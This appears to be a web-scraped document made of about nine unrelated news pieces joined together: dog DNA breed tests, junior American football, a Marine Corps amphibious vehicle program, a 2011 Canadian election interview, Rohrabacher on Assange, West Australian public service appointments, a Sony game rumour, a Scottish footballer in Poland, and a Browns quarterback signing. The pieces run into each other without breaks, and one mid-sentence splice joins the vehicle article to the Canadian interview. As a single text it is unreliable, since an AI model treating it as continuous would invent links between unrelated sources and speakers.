second kit at no charge, and the veterinarians sent in a second sample. A few weeks later, the lost sample made it to the laboratory. This time, the people at Wisdom Panel apparently did not notice they had run the same dog before. Sidney ended up getting back-to-back analyses.The results didn’t quite match.One identified Sidney as a mix of flat-coated retriever, toy fox terrier, beagle and an assortment of other breeds.The other showed Sidney as toy fox terrier, flat-coated retriever and assorted others.The list of possible other breeds named were fairly consistent: The first test results identified Chihuahua, Australian shepherd, Finnish spitz, miniature dachshund and weimaraner. The second had the same breeds with the exception of the spitz. That analysis detected rat terrier instead.But the beagle’s disappearing act Tarrido found hard to swallow.Reporting his experience on a message board of VIN, Tarrido wrote: “I know that the mixed-breed make-up percentage might be a little off and might vary a little but (for) the beagle to not be there... come on!?”Tarrido called Wisdom Panel and spoke with geneticist Hughes. She reviewed the results, and discovered that the statistical confidence in the beagle finding was marginal. “When you delve into the data, it was at a low confidence; as low as you can get and still make it onto the chart,” Hughes told the VIN News Service.She dubbed the beagle report a mistake. “It falls into our 10 percent (possibility of) false-positive or false-negative,” Hughes said.Interestingly, Tarrido noted that Sidney “does have a beagle bark, unfortunately... that I get to hear every night.”To the general consumer, a DNA test for breed may project an aura of scientific precision. But as our six test dogs plus Sidney demonstrate, the analyses are not exact. Bell, the veterinary geneticist at Tufts, said the commercial tests should not be confused with highly accurate medical diagnostic genetic tests."A mixed-breed ancestry test is a non-diagnostic novelty test that is consumer-driven," he said. "The science of these tests can be compared to trying to deconstruct the ingredients of a complicated recipe – maybe there’s some of this, or maybe some of that. While we would like it to be as accurate as possible, no medical decisions are going to be based on it. For the consumer, it is probably more important that they are happy with the results than their exactness.”As Hughes sees it, DNA testing is much more accurate than someone looking at a dog and surmising its heritage. “Our brains are able to handle one, maybe two breeds and put them together, but when you talk about 9 percent giant schnauzer and 14 percent German shepherd, we can’t figure it out,” she said. “Genetic testing is a significant improvement over visual identification.”That hasn’t been definitively proven, although one team of researchers did compare the results of visual breed identification with genetic identification in a study of 20 dogs with unknown parentage. Looking at what breeds the dogs were said to be by their respective adoption agencies and what the DNA results showed, the researchers found a sizable discrepancy: the two methods agreed less than one-third of the time.The study, “ Comparison of Adoption Agency Breed Identification and DNA Breed Identification of Dogs,” appeared in the Journal of Applied Animal Welfare Science in 2009. The lead author, Dr. Victoria Voith, a professor of animal behavior at Western University, presented the findings at a conference of the American Veterinary Medical Association that year, saying the results raise questions about the validity and enforcement of breed-specific policies.What breeds comprise a mutt is clearly interesting to most, if not all, dog owners, but beyond simple curiosity, is there any value to knowing?Giger, head of the clinical program in medical genetics and pediatrics at UPenn’s veterinary school, thinks so — especially if the information is available when the dog is a puppy or before it is adopted. “It’s important when considering a puppy, and it’s tiny and cute and you would like to know how big it’s going to get,” he said.Similarly, it would be helpful to know its likely behavior, (such as) if a dog has a herding background, in order to place it in the proper home, Giger added. “One wouldn’t want to place it into an apartment where it might go berserk because of boredom.”The test makers maintain that knowing breed background enables owners and their veterinarians to better target a dog’s health care, alerting them to watch for diseases to which the dog’s breeds are prone.Hughes often tells a story of her own dog, Rimsky, whom she adopted as an older puppy from a shelter in Sacramento, Calif. The shelter called him a border collie because he was white with black spots, but when his weight topped out around 20 pounds and he developed a feathered coat, Hughes described him as "an overgrown papillon." At age 5, Rimsky had an episode of frantic scratching at his face and seemed to be choking. Hughes rushed him to an emergency hospital but even before they arrived, he appeared to fully recover, and no cause for his distress could be found.Six months later, Rimsky had a grand mal seizure. Eventually, he was diagnosed with epilepsy. Hughes believes now that during the face-scratching episode, Rimsky was having a smaller seizure. Years later, when the breed test became available, she tested him. The result said he was part cocker spaniel, part Maltese and other blends. “It made so much more sense,” Hughes said, because cocker spaniels are prone to epilepsy. Had she known his breeds earlier, she may have made the connection to his condition sooner, she said, resulting in less anxiety for her and earlier treatment for him.Hughes’ personal experience notwithstanding, the notion of tailoring medical care to the results of a DNA mixed-breed lineage test is not widely held. Casal, the veterinary geneticist from UPenn, suggested it is driven more by marketing than science. She said that a dog made up in large measure of one breed might be predisposed to health conditions particular to that breed, but such dogs are likely to be identifiable without needing a DNA test.“If your dog comes back, for example, 80 percent poodle, then you might actually worry about Addison’s,” she said, speaking of an adrenal-gland disease common to poodles. But in that case, the dog would be apt to look like a poodle, she said. Its veterinarian, therefore, probably already would be on the lookout for health conditions associated with poodles.Test makers also maintain that knowing a dog’s breed background can make training it easier. Veterinary behaviorists consulted by the VIN News Service said that may be true up to a point.Dr. Laurie Bergman, a specialist in veterinary behavior, said: “I guess it can help somewhat in terms of helping owners have a better understanding of their dogs but even with purebreds you do get variations in behaviors, even the behaviors that those breeds were selected for....“More important than a breed test in successfully training any dog is understanding positive reinforcement training,” Bergman said. “... Find what motivates your dog (which may or may not be shaped by breed) and use that to reward the dog.”Another behavior specialist and consultant, Dr. Ellen Lindell, had a somewhat different take. “It could indeed be helpful to know the breed background of your dog,” she said."We have bred certain types of dogs, to be called purebred, and to exhibit useful behaviors in a somewhat predictable manner," she elaborated. "Some terriers may herd sheep, but if you have plans to participate in herding trials or need a dog to manage livestock on your farm, you would probably seek a dog from the herding group, rather than rely on the hope that your digger/rodent-killer might want a side job herding sheep."She continued: "Purebred dogs were separated into groups based on their functions, not on appearance." For instance, she said, "Since terriers and hounds work independently, they might not be as sensitive to owner cues. Herding dogs are ultra vigilant — bred to follow subtle movements and notice all sounds. Inexperienced owners might not give these dogs enough information. Most dogs in the working group were bred to guard, so if a person with a working dog wants an open-door policy, then that person will need to work extra hard to teach the dog that everyone is welcome. So yes, it can help people to know what to expect so (as to) make better matches and help establish reasonable goals."But she cautioned that breed isn't a sole determinant. “Of course there can be variation within a breed," Lindell said. "Each individual dog should always be evaluated based on his own behavior.” VIN News Service commentaries are opinion pieces presenting insights, personal experiences and/or perspectives on topical issues by members of the veterinary community. To submit a commentary for consideration, email news@vin.com. URL: //news.vin.com/doc/?id=5450068 Share: Tweet Send us feedback about this article Sorry, but you do not have authorization to view the news article you requested. View all articlesEuropean Junior Championships semifinals (this Friday): France/Denmark and Germany/Austria! The 11th European Junior Championships are held on August 23 and 25 in Germany. Europe's four top junior national teams will play the two semi-finals on Friday at Dusseldorf and square off two days later at Cologne for the medals. Defending champions from Austria start their quest for another European title with a clash with the hosts from Germany in one of the semifinals (August 23, 6 pm CET). The other semifinal is played at 2 pm CET by Denmark and the French national team. An exciting contest is to be expected, and it should feature very close games. At the last European Junior Championships in Seville (Spain) all games between nations that now will compete in the Rhineland ended with no more than a seven point margin - except for one game: In the 2011 Gold Medal Game the Austrians beat France by 24-14, although the French had defended their 14-10 half-time lead until into the last quarter. For Austria it was the first European Junior Championship. Before 2011 Germany (four times), Finland (three times) and France (twice) had won the competition. And there is much to the assumption, that the teams have even levelled more in preparation for this EJC in terms of performance. Austria, however, is determined to take the trophy home again. For a total of five preparatory camps head coach Jacob Dieplinger had gathered his team before it traveled to Germany. To play in the semifinals against the hosts from Germany sparks mixed feelings. On one hand, motivation for Austrian sports teams always is at highest levels, when they get to face German teams, and at Seville they won the opening match against the same opponents by 14-7. But on the other hand, the Germans seek revenge exactly for this game, which spoiled their 2011 campaign, and they do so at Dusseldorf, which like Cologne is one of the strongholds of German youth and junior football. After the semi-finals at Dusseldorf-Benrath the EJC entourage will move to Cologne-Hohenberg, where the final games (August 25, Bronze Medal Game: 2 pm, Gold Medal Game: 5 pm) will be held. Source: EFAFEverything old is new again for the U.S. Marine Corps. Four years ago, faced with pressure to cut spending and a looming threat of "sequester," the Pentagon canceled a controversial project to spend billions of dollars buying new "Expeditionary Fighting Vehicles" for the Marine Corps. Four years later, though, the Corps plans to open a new round of bidding to build a completely different amphibious tank. A little bit of history Designed to be launched from amphibious assault ships miles offshore, to sail those miles like a boat, then assault a beach and move inland on tracks like a tank, General Dynamics' (NYSE:GD) EFV was a true marvel of engineering. Unfortunately, as then-Marine Corps Commandant Gen. James Amos lamented, the $15.5 billion price tag to build the things failed to meet "reasonable affordability criteria." Result: The Marine Corps cut bait on the $3 billion already invested in EFV development, and killed the program outright. Last week, though, USNI News reported the Marines will soon issue a request for proposals from defense industry companies to build a new vehicle for moving Marines from ship to shore. Dubbed "Amphibious Combat Vehicle 1.1," or ACV 1.1, this less ambitious project aims to build a 35-ton armored beast that can: Launch from an amphibious assault ship 12 miles offshore, carrying about a dozen Marines. Traverse those miles of choppy ocean at a speed of at least 8 knots. Then roll up the shore and assault defending troops with its M2.50-caliber machine gun and Mark 19 automatic grenade launcher, functioning as an armored personnel carrier. What will it cost? In contrast to the EFV, the unit cost on which had surged past $22 million (twice the cost of an M1 Abrams tank) by the time the program was canceled, ACV is expected to be significantly more affordable (if not exactly cheap). Current best guesses put the ACV's "1.1" iteration at roughly $4.5 million per unit, with a planned upgrade to a faster, more robust version "2.0" craft costing perhaps $12 million to $14 million each. Numbers are in flux, but anywhere from 573to perhaps 694 ACV 1.1 and 1.2 craft could eventually be built, followed by more units of the planned 2.0 version. This suggests a total program cost of $2.6 billion to $3.1 billion -- or more. If all goes as planned, ACVs could begin operational service by 2020. Who gets the loot? At least four separate defense contractors are expected to bid on the work: General Dynamics (again), along with Lockheed Martin (NYSE:LMT), SAIC (UNKNOWN:SAI.DL), and BAE Systems (NASDAQOTH:BAESY). These companies will compete to win one of two contracts on offer to provide prototype ACVs for the Marines to test out. Which will win? As the incumbent manufacturer of the 1970s-era Assault Amphibious Vehicles that ACV will replace, BAE Systems probably has pole position in this race. But as the company that won the last big competition to build the Marines a new amphibious assault tank (i.e., the late, lamented EFV), General Dynamics probably has the best "feel" for what the Marines will be looking for in the ACV -- and accordingly a good chance of meeting those needs. Lockheed Martin and SAIC probably have the weakest chances -- although neither can be counted out. Indeed, as you can see in the photos above and below, Lockheed Martin already has a prototype ACV built
majority? And remember, you’re talking to an audience, in addition to a Canadian audience — and it was wonderful to be in Canada this past weekend — people all over the world, who are not very familiar with Canadian politics. STEPHEN LEWIS: Right. Well, Stephen Harper is a classic right-wing government, ideologically driven, and now has a majority, and I suspect that four or five years from now, Canada will be a somewhat different country because the natural progressive instincts of so much of Canada will be diminished by a very right-wing government. But on the other hand, he was elected. It’s a democratic society, albeit he only got 40 percent of the vote, which means that 60 percent of Canadians wanted an alternative. The unprecedented surge of the New Democratic Party — and I don’t think I’m putting that inappropriately as though it was intense partisanship — the surge of the New Democratic Party took everyone aback. And the sweep in the province of Quebec is perhaps one of the most extraordinary moments in Canadian political history, over the last two or three decades, because it means that Quebec has voted for a federalist party to represent their views as part of Canada. They have rejected the separatist, sovereignist instinct which has prevailed over the last two to three decades. And that is of great significance, because, as it were — and this isn’t metaphorical — it brings Quebec back into Canada. So you have in Canada now a rather useful ideological fray, with strong Conservatives in the government, with a deeply committed left-wing opposition, led by a man without guile, Jack Layton, who brought tremendous authority and admiration to his campaign. And the Liberal Party, which always saw itself as the natural government of Canada, may never rise from the ashes. The separatists have been defeated in Quebec; they probably won’t be back at the federal level. Though Liberals will be struggling for place. AMY GOODMAN: Give us the history of the NDP. I mean, this remarkable moment — it’s as if, in the United States, you have the Republican Party, the Democratic Party, and, what, the Green Party, and now the Green Party has become the second party instead of the Democrats. So when the questions are asked here, for example, you know, “Are you going to throw away your vote, allow Republicans to win by voting for a Green Party and the Democrats will lose?” in Canada, it became, “Are you going to throw away your vote for voting for the Liberals and not the NDP?” And so, the NDP became number two, the main opposition party. What is the history of your party, which you led in Ontario, for example, during the ’70s? STEPHEN LEWIS: Yes, yes. The party was rooted in what was called the CCF, the Co-operative Commonwealth Federation, which was a combination of agrarian support in western Canada and a good deal of trade union and urban support in eastern Canada, but we never really had a foothold in the province of Quebec. In 1958, we suffered a terrible defeat politically, were reduced to eight seats, and out of that there emerged the New Democratic Party, which was a slightly different formulation but with a new passion and instinct. And the former premier of Saskatchewan, one of the most popular of Canadians, Tommy Douglas, came out to lead the party. And that began 50 years — this is our 50th anniversary, Amy — 50 years of a slow progression of social democracy in Canada gradually winning more and more support. We formed provincial governments in British Columbia, in Saskatchewan, in Manitoba, in Ontario, now in Nova Scotia. But we never had any impressive strength beyond a third-place finish in Canada as a whole. Tommy Douglas was followed by my father, who was the leader and, for a while, held the balance of power in the 1970s, when Pierre Trudeau was head of the Liberal Party. He was followed by Ed Broadbent, who previously got our highest number of seats in the ’80s: 43. Now we have 102 and 30 percent of the vote, and this incredible breakthrough in Quebec. Amy, two days ago, we had one member of parliament in Quebec — one. This morning, we have 59 or 60. It’s really quite phenomenal. And as a result, after Ed Broadbent, there came two women leaders and now Jack Layton. It’s been a slow, progressive build of social democracy. AMY GOODMAN: The NDP is responsible for ushering in Canada’s single-payer healthcare system. In 1962, as you mentioned, the Saskatchewan premier, Tommy Douglas, who was also NDP’s first federal leader, won the passage of single payer in Saskatchewan with every other province soon to follow. Now, it’s very interesting, especially for viewers and listeners in the United States and in the rest of the world, because Tommy Douglas is the grandfather of Kiefer Sutherland, the actor, you know, the star of 24, for example, which is, by the way, “trending” today, Kiefer Sutherland, because of the action that took place that killed Osama bin Laden, you know, in sort of 24 style. But in 1983, three years before his death, Tommy Douglas talked about healthcare. TOMMY DOUGLAS: If you want a two-tiered health program, then just continue the way we’re going. And I remind you that in this movement we pledged ourselves 50 years ago that we would provide healthcare for every man, woman and child, irrespective of their color, their race or their financial status. And by God, we’re going to do it! AMY GOODMAN: That was the first leader of the NDP. That was Tommy Douglas, responsible for bringing in single-payer healthcare, first in one province, which is interesting, because it looks like Vermont in the United States is poised to bring in single-payer healthcare just in Vermont. Stephen Lewis, the significance of healthcare as part of the progressive agenda of the New Democratic Party that has now just become the second party of Canada. STEPHEN LEWIS: Oh, it’s visceral to the NDP, Amy. It’s in our molecular structure. It’s holy writ. We will fight for Medicare to the death, and the public healthcare, which is provided in Canada to every single citizen, is something of which we’re immensely proud. The people of Canada consider healthcare to be the dominant political issue in any campaign, and there will now be a struggle in the House of Commons, in parliament, because the Conservative government would like to privatize dimensions of healthcare. I rather doubt that the Canadian public will permit that, and the NDP will fight a very, very hard to maintain the — what you call the single-payer system. That is one of the things which distinguishes us and identifies the democratic left. AMY GOODMAN: We’re also joined, in addition to Stephen Lewis, by Canadian activist and writer Judy Rebick, founder of rabble.ca, one of Canada’s leading independent news websites, and a professor of politics at Ryerson University in Toronto. Judy Rebick, can you talk about the new landscape in Canada now? JUDY REBICK: Yeah, you know, I share a lot of Stephen’s analysis. I don’t quite share his enthusiasm, not being quite as strong a partisan as he is for the NDP. I’ve been a supporter of the NDP, but a critic, as well. And I think it’s quite serious that we have this majority Conservative government now. This is the most right-wing government we’ve ever had. We used to — they used to call themselves the Progressive Conservatives; now they call themselves the Conservatives. And they’re really very much like Bush Republicans, in my view. And they’ve run even with a minority government, which means they could be defeated at any moment, for Americans who don’t know what minority governments are. They ran a very, very repressive government, cutting funding to any group that they didn’t agree with, you know, spending a billion dollars on security during the G-20, arresting 1,100 people. So, the extra-parliamentary left, if you want, the social movements, can expect a very tough time from this government. I agree that the NDP win is phenomenal, and Jack Layton ran an amazing campaign. He really won over the Canadian people, particularly the Québécois. You know, they went, as Stephen said, from one seat in Quebec to beating the Bloc Québécois, which was the major party in Quebec. But where I differ with Stephen is I don’t think this is a rejection of sovereignty at all, actually. I think what it is, is the Bloc Québécois, which is a sovereignist party, is also a social democratic party, and I think that the sovereigntist — a lot of the sovereignists in Quebec switched to the NDP not as a rejection to sovereignty, but as an attempt to get rid of the Harper — make sure Harper didn’t get a majority, which the Bloc couldn’t have done. But the NDP had this, what people call the “orange crush,” because orange is the color of the NDP, had this surge continue across the rest of the country. AMY GOODMAN: And I just want to explain to viewers and listeners that Bloc Québécois, when you talk about sovereignty movement, the idea that Quebec would become sovereign, a sovereign nation, is what they were pushing for. JUDY REBICK: That’s right. That’s right. So, you know, you have in Quebec 40 percent of the population — which is, I think, about what voted for the NDP there — supports sovereignty still, to this day. And there’s been two referendums, both of which failed. But I think — I actually think that it’s very likely the Parti Québécois, which is the provincial sovereigntist party, could win the next provincial election, because the current government, which is a federalist government, is now popular, and could bring in a referendum. And because the Québécois hate Harper so much, you know, he could — they could vote for sovereignty this time. And so, I think the only — the real restriction on Harper is not going to be the opposition in the House of Commons; it’s going to be the fear that if he goes too far to the right, they’ll lose Quebec, and they’ll lose a referendum. I think that’s going to be the biggest discipline on the Harper majority government. So, I agree with Stephen, there’s been a huge — basically there’s been a huge realignment of Canadian politics. The Liberal Party has been called, up until very recently, the natural governing party in Canada, and they are reduced to very, very little. I mean, it’s devastating for them, and it’s a complete shift in Canadian politics to basically an extremely right-wing party and a somewhat — I think the NDP a somewhat left-wing party. But the NDP has moved right in the last little while, in my view. AMY GOODMAN: Very quickly, Stephen Lewis, your response? STEPHEN LEWIS: Amy, the reason that I’m in good spirits is because I’m an ideologue. I’m a fundamentalist of the left. I get great pleasure in the fact that in the Canadian political system now, instead of having the Conservatives, minority or majority, facing a wishy-washy centerpiece called the Liberal Party, you’re going to have an actual ideological difference in Canada between people genuinely on the left and people determinately on the right. If the parliament can be demonstrably civil to each another, it will be an extremely useful and serious debate. And, I mean, I agree with Judy Rebick on most things in life political. I don’t agree on these speculative fantasies about Quebec on the day after the election. I think we have to see what Jack Layton and his 60 Quebec members do over the course of the next four years. Because of that, of course, that will have an immense influence on the way in which people in Quebec respond to the separatist instinct. AMY GOODMAN: Very quickly — STEPHEN LEWIS: So I’m at odds on that, but I’m not at odds on the fact that we’ve got a hell of a right-wing government, which is going to make life very difficult for Canadians over the next four years. That’s why I said at the outset that we may have a very different kind of Canada four years from now. AMY GOODMAN: And very quickly, 15 seconds, Judy Rebick, what does this mean for Michael Ignatieff, the Liberal Party leader? JUDY REBICK: Oh, I think he’s finished. I mean, he didn’t resign last night. Gilles Duceppe, the leader of Bloc Québécois, resigned. I think he’s gone. The other thing I want to say is Elizabeth May, the first Green Party candidate in North America to win a seat, that’s also very significant. AMY GOODMAN: We’re going to leave it there. And thank you so much, Judy Rebick and Stephen Lewis, both speaking to us from Toronto.President Donald Trump is being blocked from knowing he can pardon WikiLeaks founder Julian Assange in exchange for information vindicating Russia of hacking allegations, according to Republican California Rep. Dana Rohrabacher. Trump told reporters Sunday that he has “never heard” of a potential deal with Assange. “I think the president’s answer indicates that there is a wall around him that is being created by people who do not want to expose this fraud that there was collusion between our intelligence community and the leaders of the Democratic Party,” Rohrabacher told The Daily Caller Tuesday in a phone interview. Rohrabacher met with Assange in August at the Ecuadorian embassy in London, where the WikiLeaks founder has lived in asylum since 2012 due to now-dropped sexual assault charges in Sweden. However, American authorities are reportedly still investigating Assange for his role in disseminating thousands of classified U.S. documents. The California congressman told TheDC in August that Assange promised him information that reveals Russia is not behind the hacking and leaking of Democratic National Committee emails during the 2016 election, as U.S. intelligence officials have claimed. The U.S intelligence community has also said that Russian state actors were involved with the hacking and leaking of Clinton campaign chairman John Podesta’s emails. Rohrabacher told TheDC Tuesday that he “didn’t go into detail other than the DNC” with Assange. The WikiLeaks founder has previously said that Russia was not the source of either the Podesta or DNC emails that his site released. Rohrabacher said that a pardon would likely have to occur for Assange to give up this information about the source of the DNC emails. Assange has long maintained that he would never reveal a source, but Rohrabacher said that Assange now “wants to get out of the Ecuadorian embassy.” Rohrabacher told TheDC that he has yet to view the information Assange says vindicates Russia, but that Assange would be able to exchange it if the president “is on board.” The president is able to preemptively pardon someone. The congressman spoke to chief of staff John Kelly two weeks ago about the potential deal with Assange. The Wall Street Journal reported that Kelly told Rohrabacher to bring the information to the intelligence community. “This would have to be a cooperative effort between his own staff and the leadership in the intelligence communities to try to prevent the president from making the decision as to whether or not he wants to take the steps necessary to expose this horrendous lie that was shoved down the American people’s throats so incredibly earlier this year,” Rohrabacher said. Several media outlets have covered Rohrabacher’s comments about a potential deal with Assange and Trump is known to be an avid consumer of media. However, it has recently been reported that Kelly is blocking certain news articles from reaching the president’s desk. Rohrabacher previously worked as a speechwriter for President Ronald Reagan and told TheDC: “This happens in every administration, and it’s a great disservice to the president.” “It’s an undercutting of democracy when the guy who’s elected, his staffers take it upon themselves to make the decision rather than let the actual president make the decision.” “I am confident that if the president is permitted to know that this avenue is open to him to debunk the horrible lie that was told to the American people about him stealing the election with the help of the Russians… that I think the president will accept it if he’s permitted to know.”Public Sector Commissioner Mal Wauchope appears to have his hands full. As the controversies mount around the new Labor Government’s appointment of top public servants acceptable to its ministers — and the axing of those who aren’t — Wauchope’s name keeps cropping up. It appears the Public Sector Commission has no role to play in providing a senior public service that is apolitical and independent of the executive. The job is to get the Government’s wishes implemented. Several senior public servants with hitherto unblemished records have disappeared without trace after closed-door meetings with Wauchope. No details of reasons for their departures have been offered, in conflict with Labor’s professed interest in openness, transparency and accountability. Inquiries about the disappearances end at the brick wall of the independence of the PSC. No one seems to know who asks the commission to act in these matters or if it is acting on its own initiative. The appointment of a new police commissioner — with Wauchope heading the selection panel — has become hopelessly compromised in mysterious circumstances. The WA Police Union’s demand for the Corruption and Crime Commission to take over the process was effectively a vote of no confidence in the PSC. “There is now a cloud over this entire process,” union president George Tilbury said. “It’s clear something has happened. You don’t have the most important panel member in the selection process withdrawing with a pathetic excuse that there’s a clash of dates in their diary. I would expect the CCC to be looking closely at this.” Tilbury said there appeared to be some level of political interference. That’s damning for the force’s confidence in its eventual new leader. And that issue is no orphan. There is now a cloud over this entire process. George Tilbury The Road Safety Commissioner falls on his sword and the same responsible minister, Michelle Roberts, professes not to know why. And another public servant who lost out previously when the Barnett government created the road safety commissioner role is seconded into the job without an open PSC process. The head of Lotterywest, Paul Andrew, vanishes after a meeting with Wauchope and the agency’s chairwoman Heather Zampatti without any cogent reason offered. Labor has dodged parliamentary questions about why Andrew left, consistently claiming it was by “mutual agreement” but refusing to disclose who initiated the split. When Liberal MLC Tjorn Sibma probed how this mutual agreement was reached, this is what minister Sue Ellery offered: “The matter of bringing Mr Andrew’s contract to an early end was raised by his employer, the Public Sector Commissioner, at the meeting held on Wednesday, 14 June, 2017. Mr Andrew agreed to end his contract at the meeting.” There was no indication whether Wauchope had decided overnight that Andrew’s face didn’t fit or whether someone had asked for the well-regarded former head of Surf Lifesaving in WA to be given the bullet. While that position itself is not crucial in the overall scheme of things, the smell around this issue highlights the real problems in what Labor is doing. Premier Mark McGowan’s comments about finding a way to reduce the payouts to departing senior bureaucrats, triggered by the $340,000 handed to Andrew, was a joke. If you sack someone unfairly or terminate their contract early, money is the only solution. As I have had cause to point out before, next to the all-powerful job of director-general of Premier and Cabinet — which appears to have been shamelessly stitched up for one of the Premier’s mates — the most important bureaucratic job in the minds of the public is our top cop. Labor never liked Karl O’Callaghan and made it clear it wanted to see the back of him. Given that his contract was up, there was no problem with selecting a new commissioner with whom the Government could work as long as it was done properly. Frankly, it’s become a disaster. And it highlights Labor’s duplicitous methods in shaping a public service that is anything but impartial. Labor never liked Karl O’Callaghan and made it clear it wanted to see the back of him. A senior police source says the commissioner’s selection will now be open to an abuse of process appeal which could go on for a long time. Why former Australian Federal Police commissioner Mick Keelty pulled out of the panel may never be known, given the opaque nature of these matters. But the explanations given so far don’t pass the sniff test. Roberts herself is to blame here. She is an interventionist minister and the police are wary of her. It’s known she favoured Tim Atherton over O’Callaghan for the job in 2004 and her judgment was questioned when the deputy left a year later under a cloud. McGowan wants to paper over the ham-fisted intervention in the selection process by his former copper MP for Burns Beach, Mark Folkard. That doesn’t wash in an issue as sensitive as this. Folkard complained that a former colleague of his was denied an interview and that he — not on the selection panel — thought he should be. “No one in Australia would parallel this person’s CV,” Folkard said. I’m told that person is Glenn Crannage, who left the department way back in 2001 to head up his own businesses. He, along with every other applicant, will now get an interview. He competes with the likes of Australian Crime Commission head Chris Dawson, NSW Assistant Commissioner Catherine Burn and top-flight locals Steve Brown and Michelle Fyfe. This is how AAP dispassionately reported the latest mess: “Mr Keelty has been replaced by former Victoria Police chief commissioner Ken Lay, who joins Mal Wauchope, Kay Hallahan and Robert Mitchell, with interviews to be held in mid-July.” Hallahan is a 76-year-old former Labor police minister and Mitchell is a former head of Fire and Emergency Services under Roberts. Surely it’s a panel that will get a political job done. The PSC declined to answer my questions about how the selection panel was selected and if the minister’s office had a role, instead directing me to an earlier media statement in which it said it would make no further comment. I got a one-word answer to three questions about how Mitchell was appointed. This is not how accountability is meant to work. “Asked why the list of interviewees had increased from six to 10, Mr McGowan said everything was ‘completely above board’ and the Public Sector Commission just wanted to have the biggest field available,” AAP reported. “He denied it was a case of anyone being removed and re-added to the list. But the Premier could not explain why Mr Keelty’s scheduling conflict was not determined earlier.” In other words, it stinks. However, Roberts has rejected suggestions the process needed to start from scratch. “No, we don’t. That’s a process being handled by the Public Sector Commission and in this instance the Public Sector Commissioner himself is the chair of the panel and he is running the process,” she told the ABC. “He is someone who’s worked for Labor and Liberal governments over the last 30 or 40 years. He’s someone of enormous credibility and he is running the process and he is chairing the panel.” So we can all relax?Earlier today, we reported that The Paul Gale Network had been building up for a big Sony reveal. Finally, it’s upon us and boy was it big, kind of – actually, not at all. The big announcement was a game for the PlayStation 3 in development that is, essentially, a Sony equivalent of Nintendo’s Smash Bros. franchise. The game will allegedly feature many original Sony characters such as Nathan Drake, Sly Cooper, Kratos, Fat Princess, Parappa, Sweet Tooth, and Rico from Killzone. Paul makes special note of the stages that he describes as “vibrant and varied” – which will be taken straight from the worlds of corresponding Sony characters. He also reports that there will be objects spawning around the screen that will most likely be used to help or hinder players. Sound familiar? For those playing Paul’s game at home, there were a series of hints that were supposed to give us an idea of what to expect. Just to reiterate, those hints again are: Paul in martial arts garb, Paul as James Bond and Paul as a TRON character. What did they mean? The martial arts uniform is because it’s a fighting game, obviously. The second clue is because James Bond is being considered as a playable character, duh. The final clue has something to do with TRON, right? Wrong. It’s because Paul is standing in front of a vibrant and varied background. Just like the stages will be in the game! After learning what it all meant, it’s hard not to feel as though the teases were a bit disconnected from the actual game and served to promote Gale’s image more than the title he was teasing. However, if the still unannounced game is going to do well with audiences – it will need to set itself apart from similar titles (especially the next Super Smash Bros.). Making the game more mature would certainly be an option (given Sony’s hardcore IP’s) – as opposed to Smash Bros.’ cartoonish, whimsical tone. That said, even certain Sony franchises feature colorful characters, and taking a note from the Marvel vs Capcom playbook might help the developers find a balance, since Capcom has managed to capture both mature tones and deep gameplay – while keeping things lighthearted. Can Sony turn Sackboy into an intimidating killing machine? Maybe. The real key, however, is making sure the gameplay is rich and unique. If all else fails, however, they can just load the title with a ton of characters. If Capcom has taught us anything, it’s that adding characters sells. Nathan Drake and Sweet Tooth are no-brainers but other obvious contenders include Jak, Daxter, Crash Bandicoot, Ratchet and Clank. Since we’ve seen Kratos and Cole joining other fighting game franchises, it’d be great to see Solid Snake appear in this fray as well (following his appearance in the Super Smash Bros. series). Let’s hope that this news is legit because having a Sony Smash Bros. title could be really enjoyable. What characters would you like to see included? Source: Paul Gale NetworkZiggy Gordon says his stint in Polish football has been "amazing" and transformative for his football Scottish coaches have "so much to learn" from their Polish counterparts, according to Ziggy Gordon. The former Hamilton and Partick Thistle defender, 24, joined Polish top-flight club Jagiellonia Bialystok in January. Gordon admits he was shocked by the detail and sophistication of the coaching he received compared to the approach in Scotland. "I honestly feel like I'm a totally different player than what I was in Scotland," he told BBC Scotland. "I had a lot of good managers working with me both at Hamilton and at Partick Thistle. "I like to think the aggression and determination will never leave me, but in terms of understanding the game, I feel like I'm a different player. "I almost feel I didn't know how to play football until I came here, which is quite incredible. "I don't want to talk down Scottish football, but we have so much to learn in terms of technical ability, structure of play, all these things you see at international level. "The whole structure and how they make the game so easy - once you work hard and understand the way they want to play, it makes the game so much easier. "I think in terms of that, there's so much Scottish coaches can learn from coaches over here." 'They're a lot more precise' Gordon left Accies for Partick Thistle in July last year Gordon, who has played six times for the side who top the Ekstraklasa after 31 games, feels the quality of individual coaching administered in Poland is superior to that which he was accustomed in the Scottish top-flight. The defender, who worked under managers Billy Reid, Alex Neil and Martin Canning at New Douglas Park then Alan Archibald at Firhill, says his Polish coaches "leave no stone unturned" in their match preparations. "They're a lot more precise, everything is very match-related," he said. "It's very structured. Nothing is left for players to make decisions in games. "I remember my first training session here as the new player and we had a game the next day. "Usually, you'll go through set-pieces. We did free-kicks for and against, corners for and against, and then, for some bizarre reason, and I couldn't understand it, we did pass-backs as if the goalkeeper picks the ball up and you get an indirect free-kick. "Now, I think that's only happened maybe twice in my whole career, but they did it, just to cover every single scenario. "So, if we get an indirect free-kick for or against, we know exactly what positions to take up. I think that just epitomises that no stone is left unturned. "It was my first real shock and it wasn't my last. In terms of the analysis, it's almost as if every question you have in your head is answered within the time of you stepping into that meeting and coming out. It is quite amazing." Players are given homework Gordon made 19 appearances for Partick Thistle before moving to Poland in January Gordon reveals the depth of the Polish coaching extends to the roles of team-mates, with players given homework and expected to understand how their colleagues will operate in match situations. "It is almost like a rule book you need to learn," the defender said. "Not only do you need to know what position to take up when you have the ball, you need to know what position to take up when every other player has the ball. "You need to know almost 11 different movements all over the park, which is incredible, and certainly took me a while to get my head around. "But now it is a lot easier to play and, quite honestly, you go into a game and you know all you need to do is show up, because everything else has been dealt with before." 'They make far superior decisions on the ball' Gordon asserts that Scotland produces many talented youngsters but argues the Polish set-up prepares their youth players more comprehensively for the rigors of first-team football. "I don't think individual players in terms of quality are any different from the players in Poland, but I think their understanding of the game is far superior," he said. "They make far superior decisions on the ball and the movement without the ball is on a different level. "I know for a fact we have so many superb young players, but I just think we can educate them far greater from a young age so, when they get to the first team, they're a lot more equipped, psychologically, physically, to deal with the demands of being a professional football player. "Here, there are 14-15,000 fans at every one of our games and, regardless of what player plays, it's just another day at the office. "In terms of getting players ready to play top-flight football, we have a long way to go."CLEVELAND, Ohio -- The Browns have likely said farewell to hometown favorite Brian Hoyer with the signing of veteran quarterback Josh McCown. The Browns agreed to terms with McCown, 35, on a three-year deal Friday after he the Bills, Bears and Jets all made offers. Of the three other teams, the Bills were the most serious about signing him. The ballpark average for McCown's contract is about 